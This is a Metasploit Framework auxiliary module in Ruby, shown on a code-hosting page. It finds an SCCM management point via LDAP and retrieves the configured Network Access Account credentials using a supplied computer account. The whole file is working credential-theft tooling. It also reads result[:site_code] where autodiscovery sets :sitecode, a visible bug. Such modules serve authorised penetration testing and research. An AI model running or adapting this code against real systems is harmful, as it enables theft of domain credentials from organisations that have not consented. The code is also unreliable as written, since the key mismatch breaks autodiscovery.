Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/sccm/get_naa_credentials.rb
19567 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
class MetasploitModule < Msf::Auxiliary
6
include ::Msf::Exploit::Remote::HTTP::SCCM
7
include Msf::Exploit::Remote::LDAP
8
include Msf::OptionalSession::LDAP
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Get NAA Credentials',
15
'Description' => %q{
16
This module attempts to retrieve the Network Access Account(s), if configured, from the SCCM server.
17
This requires a computer account, which can be added using the samr_account module.
18
},
19
'Author' => [
20
'xpn', # Initial research
21
'skelsec', # Initial obfuscation port
22
'smashery' # module author
23
],
24
'References' => [
25
['URL', 'https://blog.xpnsec.com/unobfuscating-network-access-accounts/'],
26
['URL', 'https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-2/cred-2_description.md'],
27
['URL', 'https://github.com/Mayyhem/SharpSCCM'],
28
['URL', 'https://github.com/garrettfoster13/sccmhunter']
29
],
30
'License' => MSF_LICENSE,
31
'Notes' => {
32
'Stability' => [],
33
'SideEffects' => [CONFIG_CHANGES],
34
'Reliability' => []
35
}
36
)
37
)
38
39
register_options([
40
OptAddressRange.new('RHOSTS', [ false, 'The domain controller (for autodiscovery). Not required if providing a management point and site code' ]),
41
OptPort.new('RPORT', [ false, 'The LDAP port of the domain controller (for autodiscovery). Not required if providing a management point and site code', 389 ]),
42
OptString.new('COMPUTER_USER', [ true, 'The username of a computer account' ]),
43
OptString.new('COMPUTER_PASS', [ true, 'The password of the provided computer account' ]),
44
OptString.new('MANAGEMENT_POINT', [ false, 'The management point (SCCM server) to use' ]),
45
OptString.new('SITE_CODE', [ false, 'The site code to use on the management point' ]),
46
OptString.new('DOMAIN', [ true, 'The domain to authenticate to', '' ])
47
])
48
49
deregister_options('LDAPDomain') # deregister LDAPDomain because DOMAIN is registered and used for both LDAP and HTTP
50
51
@session_or_rhost_required = false
52
end
53
54
def find_management_point
55
ldap_connect do |ldap|
56
validate_bind_success!(ldap)
57
58
if (@base_dn = datastore['BASE_DN'])
59
print_status("User-specified base DN: #{@base_dn}")
60
else
61
print_status('Discovering base DN automatically')
62
63
if (@base_dn = ldap.base_dn)
64
print_status("#{ldap.peerinfo} Discovered base DN: #{@base_dn}")
65
else
66
fail_with(Msf::Module::Failure::UnexpectedReply, "Couldn't discover base DN!")
67
end
68
end
69
raw_objects = ldap.search(base: @base_dn, filter: '(objectclass=mssmsmanagementpoint)', attributes: ['*'])
70
return nil unless raw_objects.any?
71
72
raw_obj = raw_objects.first
73
74
raw_objects.each do |ro|
75
print_good("Found Management Point: #{ro[:dnshostname].first} (Site code: #{ro[:mssmssitecode].first})")
76
end
77
78
if raw_objects.length > 1
79
print_warning("Found more than one Management Point. Using the first (#{raw_obj[:dnshostname].first})")
80
end
81
82
obj = {}
83
obj[:rhost] = raw_obj[:dnshostname].first
84
obj[:sitecode] = raw_obj[:mssmssitecode].first
85
86
obj
87
rescue Errno::ECONNRESET
88
fail_with(Msf::Module::Failure::Disconnected, 'The connection was reset.')
89
rescue Rex::ConnectionError => e
90
fail_with(Msf::Module::Failure::Unreachable, e.message)
91
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
92
fail_with(Msf::Module::Failure::NoAccess, e.message)
93
rescue Net::LDAP::Error => e
94
fail_with(Msf::Module::Failure::Unknown, "#{e.class}: #{e.message}")
95
end
96
end
97
98
def run
99
management_point = datastore['MANAGEMENT_POINT']
100
site_code = datastore['SITE_CODE']
101
if management_point.blank? != site_code.blank?
102
fail_with(Failure::BadConfig, 'Provide both MANAGEMENT_POINT and SITE_CODE, or neither (to perform autodiscovery)')
103
end
104
105
if management_point.blank?
106
begin
107
result = find_management_point
108
fail_with(Failure::NotFound, 'Failed to find management point') unless result
109
management_point = result[:rhost]
110
site_code = result[:site_code]
111
rescue ::IOError => e
112
fail_with(Failure::UnexpectedReply, e.message)
113
end
114
end
115
116
opts = {
117
'username' => datastore['COMPUTER_USER'],
118
'password' => datastore['COMPUTER_PASS']
119
}
120
computer_user = datastore['COMPUTER_USER'].delete_suffix('$')
121
get_naa_credentials(opts, management_point, site_code, computer_user)
122
end
123
end
124
125